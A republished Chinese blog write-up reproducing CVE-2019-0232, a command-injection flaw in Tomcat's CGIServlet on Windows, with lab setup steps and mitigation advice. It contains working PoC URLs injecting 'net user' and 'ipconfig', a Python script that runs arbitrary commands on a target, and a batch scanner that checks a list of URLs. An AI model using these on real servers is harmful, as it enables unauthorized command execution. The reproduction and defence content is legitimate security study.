Tomcat CGIServlet enableCmdLineArguments遠程代碼執行_CVE-2019-0232漏洞復現


Tomcat CGIServlet enableCmdLineArguments遠程代碼執行_CVE-2019-0232漏洞復現

一、漏洞描述

該漏洞是由於tomcat CGI將命令行參數傳遞給Windows程序的方式存在錯誤,使得CGIServlet被命令注入影響。成功利用此漏洞可允許遠程攻擊者在目標服務器上執行任意命令,從而導致服務器被完全控制。

該漏洞只影響windows平台,要求啟用CGI Servlet和enableCmdLineArguments參數。但是CGI Servlet默認關閉, enableCmdLineArguments在tomcat 9.0之后默認關閉

觸發該漏洞需要同時滿足以下條件:

1、 系統為windows

2、 啟用了CGI Servlet(默認為關閉)

3、 啟用了enableCmdLineArguments(tomcat 9.0之后默認為關閉)

二、影響版本

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

三、漏洞環境

目標機:windows 7

jdk_8u71

apache tomcat 8.5.2

1、 java環境搭建,jdk下載、安裝

下載地址:http://www.oracle.com/technetwork/java/javase/downloads/index.html

2、 測試java環境

  

3、tomcat下載、安裝

下載地址: https://archive.apache.org/dist/tomcat/

4、 tomcat環境測試

  

四、漏洞復現

1、 打開Tomcat安裝目錄的C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\conf\web.xml修改為如下配置,在默認情況下配置是注釋的

  

2、同時還要修改web.xml以下配置,否則訪問cgi目錄會提示404

   

3、修改C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\conf\context.xml,添加privileged="true"

  

4、在C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\webapps\ROOT\WEB-INF目錄新建一個cgi-bin文件夾,在cgi-bin文件夾下創建一個hello.bat的文件,內容如下:

  

5、 漏洞利用

POC如下:  #必須使用URL編碼進行訪問

http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user

http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig

  

  

6、使用python腳本驗證目標是否存在漏洞

  腳本如下:

#author:yuzly
#description:
#http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig

import requests
import sys

url=sys.argv[1]
url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
cmd=sys.argv[2]

vuln_url=url+url_dir+cmd

print("Usage:python cve-2019-0232.py url cmd")
print("the vuln url:\n\n",vuln_url)
r=requests.get(vuln_url)
r.encoding = 'gbk'
print("\nthe vuln response content:\n\n",r.text)

7、運行腳本

  

8、 編寫批量自動化驗證cve-2018-0232漏洞腳本

#author:yuzly
#blogs:https://www.cnblogs.com/yuzly/
#description:
#http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig

import requests
import sys

url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig"   #payload

with open("url.txt") as f:
    while True:
        url=f.readline()
        if url:
            url=url.split("\n")[0]
            #print(url)
            vuln_url=url+url_dir
            #print(vuln_url)
            try:
                r=requests.get(vuln_url)
                #print(r.text)
                if "IPv4" in r.text:
                    print("[+][+]%s is exist vulnerability[+][+]" %url)
                else:
                    print("[-]%s is not exist vuln" %url)
            except:
                print("[!]%s is connection fail[!]" %url)
        else:
            break

9、 搭建環境測試,運行腳本

  

五、漏洞防御

1、 升級版本

2、 關閉enableCmdLineArguments參數

 

---------------------------------------------------------------------------------------

參考資料:https://xz.aliyun.com/t/4875

https://github.com/jas502n/CVE-2019-0232


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM